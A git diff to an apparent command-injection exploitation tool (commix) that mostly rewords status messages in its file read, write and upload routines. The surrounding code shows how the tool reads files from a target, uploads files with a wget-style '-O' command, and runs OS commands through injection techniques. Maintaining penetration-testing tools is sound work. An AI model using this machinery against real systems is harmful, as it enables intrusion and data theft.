16 files changed, 158 insertions(+), 120 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 920701f0d3..cc35e5fdf1 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -234,9 +234,9 @@
* Added: New option `--retries` that retries request(s) when the connection timeouts.
## Version 1.9 (2017-05-02)
-* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay.
+* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay.
* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised.
-* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay.
+* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay.
* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved.
* Added: New option `--ignore-redirects` that ignoring redirection attempts.
* Added: New functionality for identifying and following URL redirections.
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 92072b1e87..e0ee3381ca 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -35,6 +35,10 @@
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Trying to read the content of file '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -55,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
- info_msg += "'" + Style.RESET_ALL + " : " + shell
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
+ warn_msg += "to read the content of file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -96,6 +100,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
+
+ info_msg = "Trying to write content of file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
@@ -148,8 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
@@ -185,6 +193,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
+
+ info_msg = "Trying to upload the file '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
@@ -206,12 +219,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
print(settings.SINGLE_WHITESPACE)
if shell:
sys.stdout.flush()
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index d6fe24b428..e58bd3fbfb 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -470,8 +470,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.print_error_msg(err_msg))
pass
else:
- # if not menu.enumeration_options() and not menu.options.os_cmd:
- # print(settings.SINGLE_WHITESPACE)
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
@@ -480,7 +478,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
#tb_injector.export_injection_results(cmd, separator, output, check_how_long)
- #print(settings.SINGLE_WHITESPACE)
if not new_line :
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 32ed465fa9..150f79739d 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -545,8 +545,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- if menu.file_access_options():
- sys.stdout.flush()
+ # if menu.file_access_options():
+ # sys.stdout.flush()
info_msg = "Executing the '" + cmd + "' command."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index c887fcf06b..b467ba67f0 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -36,6 +36,10 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Trying to read the content of file '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -53,23 +57,24 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- print(shell)
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
+ print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
+ warn_msg += "to read the content of file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
+
"""
Write to a file on the target host.
"""
@@ -100,6 +105,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_write = menu.options.file_dest
+ info_msg = "Trying to write content of file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
dest_to_write = dest_to_write.replace("\\","/")
@@ -150,8 +159,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
#if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
@@ -187,7 +195,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
-
+
+ info_msg = "Trying to upload the file '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -207,11 +219,10 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 8d11592ddf..8a173abe42 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -343,17 +343,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
pass
else:
if menu.file_access_options():
- # if not menu.enumeration_options():
- # print(settings.SINGLE_WHITESPACE)
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- # print(settings.SINGLE_WHITESPACE)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- # if not menu.file_access_options():
- # print(settings.SINGLE_WHITESPACE)
- cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
+
# Pseudo-Terminal shell
go_back = False
go_back_again = False
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index b99c178f6c..f77cadba06 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -95,8 +95,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
info_msg = "The hostname is " + str(shell) + "."
- print(settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index b8461834a3..219383511f 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -36,6 +36,10 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Trying to read the content of file '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -53,23 +57,22 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- print(shell)
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
+ print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
+ warn_msg += "to read the content of file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -100,6 +103,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_write = menu.options.file_dest
+ info_msg = "Trying to write content of file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
dest_to_write = dest_to_write.replace("\\","/")
@@ -141,8 +148,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
#if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
@@ -178,7 +184,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
-
+
+ info_msg = "Trying to upload the file '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -196,8 +206,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index cff3eb9ab8..6cb0bfd62b 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -354,16 +354,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
pass
else:
if menu.file_access_options():
- # if not menu.enumeration_options():
- # print(settings.SINGLE_WHITESPACE)
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# print(settings.SINGLE_WHITESPACE)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- # if not menu.file_access_options():
- # print(settings.SINGLE_WHITESPACE)
- eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
# Pseudo-Terminal shell
go_back = False
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index e7e863775e..683a785a2b 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -546,7 +546,8 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
print(settings.SINGLE_WHITESPACE)
else:
err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index fd78509b5b..87fb39797c 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -35,6 +35,10 @@
"""
def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Trying to read the content of file '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -52,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- print(shell)
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
+ print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
+ warn_msg += "to read the content of file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -95,6 +99,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
else:
dest_to_write = menu.options.file_dest
+ info_msg = "Trying to write content of file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
dest_to_write = dest_to_write.replace("\\","/")
@@ -135,8 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
#if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
@@ -173,6 +180,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
else:
dest_to_upload = menu.options.file_dest
+ info_msg = "Trying to upload the file '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
@@ -190,11 +201,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 3982c18002..b79edf8e2f 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -568,19 +568,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
pass
else:
if menu.file_access_options():
- # if not menu.enumeration_options():
- # print(settings.SINGLE_WHITESPACE)
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # print(settings.SINGLE_WHITESPACE)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- # if not menu.file_access_options():
- # print(settings.SINGLE_WHITESPACE)
- fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Delete previous shell (text) files (output)
- delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Delete previous shell (text) files (output)
+ delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
+
try:
# Pseudo-Terminal shell
go_back = False
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index 4be3329ba8..999d39283a 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -37,6 +37,10 @@
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Trying to read the content of file '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -57,22 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The contents of file '"
- info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
- info_msg += "'" + Style.RESET_ALL + " : "
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- print(shell)
+ info_msg = "Content of file '"
+ info_msg += file_to_read + "' has been extracted."
+ print(settings.print_bold_info_msg(info_msg))
+ print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The contents of file '"
+ info_msg = "Extracted content of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
+ warn_msg += "to read the content of file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -101,6 +103,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
+
+ info_msg = "Trying to write content of file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
@@ -153,8 +160,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
sys.stdout.flush()
@@ -191,6 +197,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
+
+ info_msg = "Trying to upload the file '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
@@ -211,12 +222,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index b0da54b2af..d0b5244353 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -518,8 +518,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
pass
else:
- # if not menu.enumeration_options() and not menu.options.os_cmd:
- # print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
@@ -533,11 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
